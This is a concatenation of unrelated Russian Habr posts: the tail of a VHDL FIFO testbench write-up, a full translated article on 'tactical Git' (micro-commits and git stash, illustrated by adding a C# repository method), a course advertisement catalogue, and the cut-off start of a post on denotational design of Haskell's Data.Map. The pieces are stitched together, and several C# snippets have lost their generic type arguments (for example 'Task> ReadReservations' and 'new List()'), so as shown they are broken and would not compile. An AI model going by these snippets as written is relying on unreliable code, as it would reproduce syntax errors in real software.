# KERNEL: FIFO 0 - PKG=184 1051606 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG=185 1057318 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG=186 1063030 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG=187 1068742 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG=188 1074454 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG=189 1080166 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG=190 1085878 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG=191 1091590 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG=192 1097302 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG=193 1103014 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG=194 1108726 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG=195 1114438 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG=196 1120150 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG=197 1125862 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG=198 1131574 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG=199 1137286 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG=200 1142998 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG=201 1148710 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG=202 1154422 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG=203 1160134 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG=204 1165846 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG=205 1171558 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG=206 1177270 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG=207 1182982 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG=208 1188694 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG=209 1194406 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG=210 1200118 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG=211 1205830 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG=212 1211542 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG=213 1217254 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG=214 1222966 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG=215 1228678 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG=216 1234390 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG=217 1240102 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG=218 1245814 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG=219 1251526 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG=220 1257238 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG=221 1262950 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG=222 1268662 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG=223 1274374 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG=224 1280086 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG=225 1285798 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG=226 1291510 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG=227 1297222 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG=228 1302934 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG=229 1308646 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG=230 1314358 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG=231 1320070 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG=232 1325782 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG=233 1331494 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG=234 1337206 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG=235 1342918 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG=236 1348630 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG=237 1354342 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG=238 1360054 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG=239 1365766 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG=240 1371478 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG=241 1377190 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG=242 1382902 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG=243 1388614 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG=244 1394326 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG=245 1400038 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG=246 1405750 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG=247 1411462 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG=248 1417174 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG=249 1422886 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG=250 1428598 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG=251 1434310 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG=252 1440022 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG=253 1445734 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG=254 1451446 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG=255 1457158 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG=256 1462870 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: Завершён приём данных: 1463200 ns
# KERNEL: FIFO 0
# KERNEL: Принято пакетов: 256
# KERNEL: Правильных: 256
# KERNEL: Ошибочных: 0
# KERNEL: Общее число ошибок: 0
# KERNEL: Скорость передачи: 1368 МБайт/с
# KERNEL:
# KERNEL:
# KERNEL:
# KERNEL: TEST finished successfully
# KERNEL:
```
При необходимости тесты будут дополняться. Хочу обратить внимание, что для вывода текста в консоль я использую пакет PCK\_FIO. Он резко упрощает вывод текста.
Например, вывод результатов выглядит так:
```
fprint( output, L, "Завершён приём данных: %r ns\n", fo(now) );
fprint( output, L, "FIFO 0 \n" );
fprint( output, L, " Принято пакетов: %d\n", fo( rx0_result.pkg_rd ) );
fprint( output, L, " Правильных: %d\n", fo( rx0_result.pkg_ok ) );
fprint( output, L, " Ошибочных: %d\n", fo( rx0_result.pkg_error ) );
fprint( output, L, " Общее число ошибок: %d\n", fo( rx0_result.total_error ) );
fprint( output, L, " Скорость передачи: %r МБайт/с\n\n", fo( integer(rx0_result.velocity) ) );
```
Это похоже на Си.
В итоге я считаю что получился элегантный компонент, достаточно удобный для практической работы. | https://habr.com/ru/post/321674/ | null | ru | null |
# Вот что такое тактический Git
Автор книг Dependency Injection in .NET («Внедрение зависимостей на платформе .NET») и Code That Fits in Your Head рассказывает о своём подходе к Git и git stash, позволяющем добиться большой гибкости в работе с кодом. Опытом Марка Симана делимся к старту [курса по разработке на С#](https://skillfactory.ru/c-sharp-razrabotchik?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_cdev_110422&utm_term=lead).
---
В фильме Фри-соло скалолаз Алекс Хоннольд тренировался в свободном восхождении, чтобы покорить гору Эль-Капитан, в Йосемите. Это хороший фильм, но, если вы его не видели, свободное одиночное восхождение — это когда вы взбираетесь на скалу без защитного снаряжения, обвязки и верёвок. Вот Эль-Капитан, просто чтобы вы представляли его, — это 914 метров отвесной скалы:
Потеряв хватку и упав, вы умрёте. Свободное восхождение — это невероятное усилие, но Хоннольд покоряет скалу, делая одно движение за один раз; в конце концов, эта статья о работе с Git.
Сохранение
----------
Хоннольд не просто так свободно поднимался по Эль-Капитану. Для этого он сознательно тренировался. Документальный фильм показывает, как множество раз он поднимается на Эль-Капитан в защитном снаряжении, планирует маршрут и поднимается по нему несколько раз.
На каждом восхождении он использует верёвки, обвязку и различные крепления верёвок. Хоннольд не падает далеко: верёвка, упряжь и крепёж останавливают падение в последней точке фиксации, почти как сохранение в игре.
Сильно изменяя код, даже при переходе на новую реализацию, чтобы избежать катастрофы, можно создавать точки сохранения. Как и Алекс Хоннольд, вы можете исправить код, чтобы иметь больше шансов добраться до следующей успешной сборки.
Нестандартное редактирование
----------------------------
Редактируя код, вы переходите от одного рабочего состояния к другому, но во время редактирования код не всегда выполняется или компилируется. Рассмотрим такой интерфейс:
```
public interface IReservationsRepository
{
Task Create(Reservation reservation);
Task> ReadReservations(
DateTime dateTime);
Task ReadReservation(Guid id);
Task Update(Reservation reservation);
Task Delete(Guid id);
}
```
Этот код, как и большая часть кода в статье, из моей книги [Code That Fits in Your Head](https://blog.ploeh.dk/code-that-fits-in-your-head). Как я рассказываю в разделе о [паттерне Strangler Fig](https://martinfowler.com/bliki/StranglerFigApplication.html), в какой-то момент мне пришлось добавить новый метод в интерфейс. Он должен был перегружаться методом ReadReservations с такой сигнатурой:
```
Task> ReadReservations(DateTime min, DateTime max);
```
Однако, как только вы начнёте вводить это определение метода, код перестанет работать:
```
Task> ReadReservations(
DateTime dateTime);
T
Task ReadReservation(Guid id);
```
Если вы работаете в Visual Studio, редактор сразу подчеркнёт код красными волнистыми линиями, указывающими на неудачу синтаксического анализа.
Чтобы все волнистые линии исчезли, необходимо ввести все объявления метода но даже тогда код не скомпилируется. Определение интерфейса может быть синтаксически корректным, но добавление нового метода сломает другой код. Кодовая база содержит классы, реализующие интерфейс IReservationsRepository, но ни один из этих классов не определяет только что добавленный метод. Компилятор знает об этом и жалуется:
> Error CS0535 'SqlReservationsRepository' does not implement interface member 'IReservationsRepository.ReadReservations(DateTime, DateTime)'
>
>
В этом нет ничего плохого. Я просто подчёркиваю, что редактирование кода включает в себя переход между двумя рабочими состояниями:
В фильме подъём опасен, но есть особенно опасный манёвр, который Алекс Хоннольд должен сделать из-за того, что не может найти безопасный маршрут.
Большую часть времени восхождения он поднимается безопасными методами, перемещаясь от положения к положению короткими движениями и никогда не теряя сцепления при смещении центра тяжести: это безопаснее.
Микрокоммиты
------------
Нельзя редактировать код, не ломая его, но можно делать небольшие, осознанные шаги, фиксируя изменения в Git каждый раз, когда код компилируется, а тесты проходят успешно.
Тим Оттингер [работавший в консалтинговой компании Роберта С. Мартина Object Mentor] называет это [микрокоммитами](https://www.industriallogic.com/blog/whats-this-about-micro-commits/). Вы не только должны фиксировать все изменения всякий раз, когда проходят тесты и компиляция, но вы сознательно должны продвигаться так, чтобы расстояние между двумя коммитами было наименьшим.
Если можно придумать альтернативные изменения кода, выберите путь с наименьшими шагами: зачем делать опасные прыжки, когда можно продвигаться небольшими управляемыми движениями?
Git — удивительно манёвренный инструмент. Большинство людей не думают о нём таким образом. Они начинают программировать, а зафиксировать изменения могут лишь часы спустя, чтобы отправить ветку в удалённый репозиторий. Тим Оттингер так не делает, и я тоже. Я работаю с Git тактически и расскажу вам, как.
Добавление метода к интерфейсу
------------------------------
Как я сказал выше, мне хотелось добавить перегрузку ReadReservations в интерфейс IReservationsRepository. Причина желания раскрывается в Code That Fits Your Head, но суть не в ней, а в том, чтобы использовать Git, продвигаясь малыми приращениями.
Добавляя метод к существующему интерфейсу, вы нарушаете компиляцию кодовой базы, пока в ней существуют реализующие этот интерфейс классы. Как с этим разобраться? Просто продвигаться вперёд, реализуя новый метод, или есть другие подходы? Альтернатива — продвижение меньшими шагами.
Полагайтесь на компилятор*,* как сказано в Working Effectively with Legacy Code. Ошибки компилятора укажут на классы, в которых нет нового метода; в кодовой базе примера это SqlReservationRepository и FakeDatabase.
Откройте эти файлы, скопируйте объявление метода ReadReservations в буфер обмена и скройте изменения в stash:
```
$ git stash
Saved working directory and index state WIP on tactical-git: [...]
```
Код снова работает. Найдите подходящее место, чтобы добавить метод в один из классов, реализующих интерфейс.
Реализация SQL
--------------
Я начну с класса SqlReservationsRepository. Перейдя к строке, в которую хочется добавить новый метод, я вставляю его объявление:
```
Task> ReadReservations(DateTime min, DateTime max);
```
Код не компилируется потому, что метод заканчивается точкой с запятой и не имеет тела. Я делаю метод открытым, удаляю точку с запятой и дописываю фигурные скобки:
```
public Task> ReadReservations(DateTime min, DateTime max)
{
}
```
Код по-прежнему не компилируется: объявление обещает вернуть значение, но у метода нет тела. Как же быстро прийти к работающей системе?
```
public Task> ReadReservations(DateTime min, DateTime max)
{
throw new NotImplementedException();
}
```
Вы можете не захотеть фиксировать в Git код, бросающий NoImplementedException, но у нового метода нет *вызывающего кода*. Все тесты проходят, и код компилируются, ведь он не изменялся. Зафиксируем изменения:
```
$ git add . && git commit
[tactical-git 085e3ea] Add ReadReservations overload to SQL repo
1 file changed, 5 insertions(+)
```
Это точка сохранения. Сохранение прогресса позволяет вернуться, когда появится что-то ещё. Отправлять код никуда не нужно, а если из-за NoImplementedException вы чувствуете неловкость, утешайте себя тем, что это исключение существует только на вашем жёстком диске.
Переход от старого рабочего состояния к новому занял меньше минуты. Естественно, следующий шаг — реализовать новый метод. Можно рассматривать эти приращения, по ходу процесса используя TDD и фиксируя изменения после *успешных* компиляции и тестирования, а также *рефакторинга,* предполагая следование чек-листу рефакторинга [red-green](https://blog.ploeh.dk/2019/10/21/a-red-green-refactor-checklist/).
Я не буду делать это здесь, потому что пытаюсь сохранить SqlReservationsRepository как [Humble Object](https://martinfowler.com/bliki/HumbleObject.html). Реализация будет иметь [цикломатическую сложность](https://ru.wikipedia.org/wiki/%D0%A6%D0%B8%D0%BA%D0%BB%D0%BE%D0%BC%D0%B0%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%B0%D1%8F_%D1%81%D0%BB%D0%BE%D0%B6%D0%BD%D0%BE%D1%81%D1%82%D1%8C), равную *2*. Учитывая сложность написания и поддержки теста интеграции с базой данных, я считаю, что это достаточно низкий уровень, чтобы отказаться от теста. Но, если вы не согласны, ничто не мешает добавить тесты на этом этапе.
```
public async Task> ReadReservations(DateTime min, DateTime max)
{
const string readByRangeSql = @"
SELECT [PublicId], [Date], [Name], [Email], [Quantity]
FROM [dbo].[Reservations]
WHERE @Min <= [Date] AND [Date] <= @Max";
var result = new List();
using var conn = new SqlConnection(ConnectionString);
using var cmd = new SqlCommand(readByRangeSql, conn);
cmd.Parameters.AddWithValue("@Min", min);
cmd.Parameters.AddWithValue("@Max", max);
await conn.OpenAsync().ConfigureAwait(false);
using var rdr = await cmd.ExecuteReaderAsync().ConfigureAwait(false);
while (await rdr.ReadAsync().ConfigureAwait(false))
result.Add(
new Reservation(
(Guid)rdr["PublicId"],
(DateTime)rdr["Date"],
new Email((string)rdr["Email"]),
new Name((string)rdr["Name"]),
(int)rdr["Quantity"]));
return result.AsReadOnly();
}
```
Конечно, это занимает больше минуты, но если вы делали подобные вещи раньше, то, вероятно, займёт меньше времени, особенно если вы предварительно получили результат SELECT, возможно, поэкспериментировав с редактором запросов. Код снова компилируется, все тесты проходят. Фиксируем изменения:
```
$ git add . && git commit
[tactical-git 6f1e07e] Implement ReadReservations overload in SQL repo
1 file changed, 25 insertions(+), 2 deletions(-)
```
У нас два коммита, и весь код работает, а кодирование между коммитами заняло не много времени.
Реализация заглушки
-------------------
Другой класс, реализующий IReservationsRepository, называется FakeDatabase. Это [заглушка](http://xunitpatterns.com/Fake%20Object.html), своего рода дублёры, только для поддержки автоматизированного тестирования. Новый метод реализуется точно так же, как в SqlReservationsRepository.
Сначала добавьте этот метод:
```
public Task> ReadReservations(DateTime min, DateTime max)
{
throw new NotImplementedException();
}
```
Код компилируется, все тесты проходят. Фиксируем изменения:
```
$ git add . && git commit
[tactical-git c5d3fba] Add ReadReservations overload to FakeDatabase
1 file changed, 5 insertions(+)
```
Добавим реализацию:
```
public Task> ReadReservations(DateTime min, DateTime max)
{
return Task.FromResult>(
this.Where(r => min <= r.At && r.At <= max).ToList());
}
```
И снова код компилируется, тесты проходят:
```
$ git add . && git commit
[tactical-git e258575] Implement FakeDatabase.ReadReservations overload
1 file changed, 2 insertions(+), 1 deletion(-)
```
Каждый из этих коммитов занимает всего несколько минут; в этом весь смысл. Делая коммиты часто, вы оставляете точки сохранения; если что-то пойдёт не так, вы сможете отступить к ним.
Изменим интерфейс
-----------------
Имейте в виду, что методы добавляются в ожидании изменения интерфейса IReservationsRepository, но сам интерфейс ещё не изменился: я скрыл его изменение. Теперь новый метод используется везде, где он должен быть, то есть в SqlReservationsRepository и в FakeDatabase.
Вернём скрытые изменения:
```
$ git stash pop
On branch tactical-git
Changes not staged for commit:
(use "git add ..." to update what will be committed)
(use "git restore ..." to discard changes in working directory)
modified: Restaurant.RestApi/IReservationsRepository.cs
no changes added to commit (use "git add" and/or "git commit -a")
Dropped refs/stash@{0} (4703ba9e2bca72aeafa11f859577b478ff406ff9)
```
Код повторно добавляет в интерфейс перегрузку метода ReadReservations. Когда я впервые попытался добавить её, код не скомпилировался: реализующие интерфейс классы не имели этого метода. Иными словами, код компилируется сразу, и все тесты проходят.
Фиксируем изменения:
```
$ git add . && git commit
[tactical-git de440df] Add ReadReservations overload to repo interface
1 file changed, 2 insertions(+)
```
Вот и всё. Применяя git stash тактически, мы разделили длинный манёвр на пять более безопасных шагов.
Тактический Git
---------------
Кто-то однажды мимоходом упомянул, что никогда не следует отходить от коммита более чем на пять минут. Здесь та же идея. Начиная редактировать код, сделайте себе одолжение, двигаясь так, чтобы перейти в новое работающее состояние за пять минут.
Это не значит, что коммит нужно делать *каждые* пять минут. Нормально, когда есть время подумать. Иногда, чтобы позволить себе обдумать проблему, я иду на пробежку или в магазин. Иногда — просто сижу и смотрю на код, или начинаю редактирование без хорошего плана, и это тоже нормально… Когда я работаю с кодом, ко мне часто приходит вдохновение. И тогда код может быть непоследовательным.
Возможно, он компилируется; или нет. Всё нормально: всегда можно вернуться к точке последнего сохранения. Часто я сбрасываю работу, скрывая результаты сырых экспериментов. Так я не выбрасываю ничего, что может стать ценным, но начинаю с чистого листа. Вероятно, командой git stash для повышения маневренности я пользуюсь чаще всего; во вторую очередь полезна возможность локального перемещения между ветками.
Иногда я делаю быстрый, грязный прототип в одной ветке, а когда чувствую, что понимаю нужное направление, то делаю коммит в эту ветку, сбрасываю работу через git reset на более подходящий коммит, создаю новую ветку и делаю работу снова, но теперь уже с тестами или чем-то другим.
Возможность спрятать изменения хороша, когда вы обнаружите, что код, который вы пишете прямо сейчас, нуждается в чём-то ещё, например во вспомогательном методе, которого ещё нет. Спрячьте изменения в stash, добавьте то, о чём вы только что узнали, зафиксируйте это и верните скрытые изменения. Пример есть в подразделе 11.1.3 Раздельный рефакторинг тестового и производственного кода книги Code That Fits in Your Head.
Часто я использую git rebase. Я не сторонник[объединения](https://blog.ploeh.dk/2020/10/05/fortunately-i-dont-squash-my-commits/) коммитов, но не испытываю угрызений совести по поводу изменения порядка коммитов в моих локальных ветках Git. Пока я не делюсь коммитами со всем миром, переписать историю коммитов может быть полезным.
Git позволяет экспериментировать, пробовать одно направление и отказываться от него, если оно начинает казаться тупиковым. Просто сохраните или зафиксируйте свои изменения, вернитесь к предыдущей точке сохранения и попробуйте альтернативное направление.
Имейте в виду, что вы можете оставить на жёстком диске столько незаконченных веток, сколько захотите. Не нужно никуда отправлять их. Это я называю тактическим применением Git. Манёвры, выполняемые, чтобы стать продуктивнее в малом. Артефакты этих перемещений остаются на вашем локальном жёстком диске, если только вы не решите поделиться ими.
Заключение
----------
Git — это инструмент с большим потенциалом, чем думают многие. Обычно программисты, чтобы синхронизировать работу с другими людьми, только когда чувствуют необходимость в git push и git pull. Хотя это полезная и важная функция Git, если это всё, что вы делаете, то можно использовать централизованную систему управления версиями.
Ценность Git — в тактическом преимуществе. Можно экспериментировать, ошибаться, метаться и напрягаться на своём компьютере, и сбросить работу через git reset в любой момент, если всё станет слишком сложно.
Вы видели пример добавления метода интерфейса, только чтобы понять, что это требует больше работы, чем можно подумать. Вместо того чтобы проталкивать плохо спланированный, небезопасный манёвр без чёткого завершения, просто отступите, скрыв изменения, двигайтесь небольшими шагами и, наконец, верните скрытые изменения.
Так же, как скалолаз тренируется с верёвками и упряжью, Git позволяет вам двигаться небольшими шагами с запасными вариантами. Используйте это в своих интересах.
А мы поможем прокачать скиллы или с самого начала освоить профессию, востребованную в любое время:
* [Профессия C#-разработчик](https://skillfactory.ru/c-sharp-razrabotchik?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_cdev_110422&utm_term=conc)
* [Профессия Fullstack-разработчик на Python](https://skillfactory.ru/python-fullstack-web-developer?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_fpw_110422&utm_term=conc)
Выбрать другую [востребованную профессию](https://skillfactory.ru/catalogue?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=sf_allcourses_110422&utm_term=conc).
Краткий каталог курсов и профессий**Data Science и Machine Learning**
* [Профессия Data Scientist](https://skillfactory.ru/data-scientist-pro?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=data-science_dspr_110422&utm_term=cat)
* [Профессия Data Analyst](https://skillfactory.ru/data-analyst-pro?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=analytics_dapr_110422&utm_term=cat)
* [Курс «Математика для Data Science»](https://skillfactory.ru/matematika-dlya-data-science#syllabus?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=data-science_mat_110422&utm_term=cat)
* [Курс «Математика и Machine Learning для Data Science»](https://skillfactory.ru/matematika-i-machine-learning-dlya-data-science?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=data-science_matml_110422&utm_term=cat)
* [Курс по Data Engineering](https://skillfactory.ru/data-engineer?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=data-science_dea_110422&utm_term=cat)
* [Курс «Machine Learning и Deep Learning»](https://skillfactory.ru/machine-learning-i-deep-learning?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=data-science_mldl_110422&utm_term=cat)
* [Курс по Machine Learning](https://skillfactory.ru/machine-learning?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=data-science_ml_110422&utm_term=cat)
**Python, веб-разработка**
* [Профессия Fullstack-разработчик на Python](https://skillfactory.ru/python-fullstack-web-developer?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_fpw_110422&utm_term=cat)
* [Курс «Python для веб-разработки»](https://skillfactory.ru/python-for-web-developers?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_pws_110422&utm_term=cat)
* [Профессия Frontend-разработчик](https://skillfactory.ru/frontend-razrabotchik?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_fr_110422&utm_term=cat)
* [Профессия Веб-разработчик](https://skillfactory.ru/webdev?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_webdev_110422&utm_term=cat)
**Мобильная разработка**
* [Профессия iOS-разработчик](https://skillfactory.ru/ios-razrabotchik-s-nulya?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_ios_110422&utm_term=cat)
* [Профессия Android-разработчик](https://skillfactory.ru/android-razrabotchik?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_andr_110422&utm_term=cat)
**Java и C#**
* [Профессия Java-разработчик](https://skillfactory.ru/java-razrabotchik?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_java_110422&utm_term=cat)
* [Профессия QA-инженер на JAVA](https://skillfactory.ru/java-qa-engineer-testirovshik-po?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_qaja_110422&utm_term=cat)
* [Профессия C#-разработчик](https://skillfactory.ru/c-sharp-razrabotchik?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_cdev_110422&utm_term=cat)
* [Профессия Разработчик игр на Unity](https://skillfactory.ru/game-razrabotchik-na-unity-i-c-sharp?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_gamedev_110422&utm_term=cat)
**От основ — в глубину**
* [Курс «Алгоритмы и структуры данных»](https://skillfactory.ru/algoritmy-i-struktury-dannyh?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_algo_110422&utm_term=cat)
* [Профессия C++ разработчик](https://skillfactory.ru/c-plus-plus-razrabotchik?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_cplus_110422&utm_term=cat)
* [Профессия Этичный хакер](https://skillfactory.ru/cyber-security-etichnij-haker?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_hacker_110422&utm_term=cat)
**А также**
* [Курс по DevOps](https://skillfactory.ru/devops-ingineer?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_devops_110422&utm_term=cat)
* [Все курсы](https://skillfactory.ru/catalogue?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=sf_allcourses_110422&utm_term=cat) | https://habr.com/ru/post/660335/ | null | ru | null |
# Следуй за денотацией
> На самом деле ученые всегда стремятся к каким-то достижениям. Они думают только о том, удастся ли это им что-то совершить. И они почему-то никогда не задумываются — а стоит ли вообще совершать это «что-то»?
>
> — Ян Малкольм, Парк Юрского Периода
Разработка абстракций или библиотек часто выглядит актом чистого, ничем не ограниченного творения: инженер (или логик) создаёт что-то из ничего. Однако, с опытом приходит осознание компромиссов и умение идти на них, например, выбирая между эффективностью, простотой реализации, простотой использования и сложностью выстреливания в ноги. Похоже, никуда не деться и от личных предпочтений: два инженера с одинаковым бекграундом и уровнем, решающие одну и ту же задачу, всё равно придумают два различных интерфейса к одной и той же абстракции.
Денотационный дизайн предназначен для формального описания этих предпочтений. Он позволяет посмотреть на эти интерфейсы и определить, являются ли они *корректными*.
Этот очерк — изложение прекрасной статьи [Denotational design with type class morphisms](http://conal.net/papers/type-class-morphisms/type-class-morphisms-long.pdf) от Conal Elliot.
Пример: ассоциативные контейнеры
================================
Давайте рассмотрим `Data.Map.Map`. Основной интерфейс выражается следующими операциями:
```
empty :: Map k v
insert :: k -> v -> Map k v -> Map k v
lookup :: k -> Map k v -> Maybe v
union :: Map k v -> Map k v -> Map k v
```
для которых должны выполняться законы:
```
-- получаем обратно то, что вставили
lookup k (insert k v m) = Just v
-- ключи заменяют друг друга
insert k b (insert k a m) = insert k b m
-- empty — единица для операции объединения
union empty m = m
union m empty = m
-- union — это просто последовательность insert'ов
insert k v m = union (insert k v empty) m
```
⟦ Это далеко не все необходимые условия, но обсуждение недостающих законов уведёт нас слишком далеко от сути поста — прим. пер. ⟧
Эти законы соответствуют нашим ожиданиям от абстракции, предоставляемой `Map`, и, более того, точно описывают желаемую семантику этих операций. Хотя явное описание таких «очевидных» законов может выглядеть глупой тратой времени, именно подобные законы придают абстракциям смысл.
Рассмотрим другой пример:
```
empathy :: r -> f -> X r f -> X r f
fear :: e -> X e m -> Either () m
taste :: X o i -> X o i -> X o i
zoo :: X z x
```
При должном внимании можно заметить, что этот `X` вместе с этими функциями — просто результат случайного переименования имён в `Map`. Имена важны для нас только потому, что они подталкивают нас к смыслам вещей, обозначаемых этими именами. Однако, если мы применим аналогичное переименование к законам `Map`, они всё ещё будут выражать желаемую семантику. Вывод прост: имена полезны, законы — фундаментальны.
Смыслы
======
Законы выше — пример одного из способов определить семантику наших абстракций. Давайте чуть подробнее рассмотрим другой способ.
Введём понятие «смыслового функтора» μ. Можно думать о `μ(Map k v)` как о «смысле `Map k v`». `μ(Map k v)` показывает не реализацию `Map k v`, а то, как мы должны рассуждать о ней, какую метафору использовать для `Map`. Функтор μ, как и любой другой (эндо)функтор, отображает типы на типы, а функции — на функции.
`Map` можно закодировать как функцию, а потенциальное отсутствие ключа выразить через `Maybe`:
```
μ(Map k v) = k -> Maybe v
```
После того, как мы определились со смыслом нашего типа, можно определить смыслы примитивных операций на `Map`.
Пустой контейнер просто возвращает `Nothing` для любого ключа:
```
μ(empty) = \k -> Nothing
```
Поиск ключа — это просто вызов функции с соответствующим аргументом и возврат полученного значения:
```
μ(lookup k m) = μ(m) k
```
Если ключ, который мы ищем, равен только что вставленному, то вернём его:
```
μ(insert k' v m) = \k ->
if k == k'
then Just v
else μ(m) k
```
Поиск ключа в объединении двух мап — это поиск сначала в левой, а потом, при неуспехе, в правой:
```
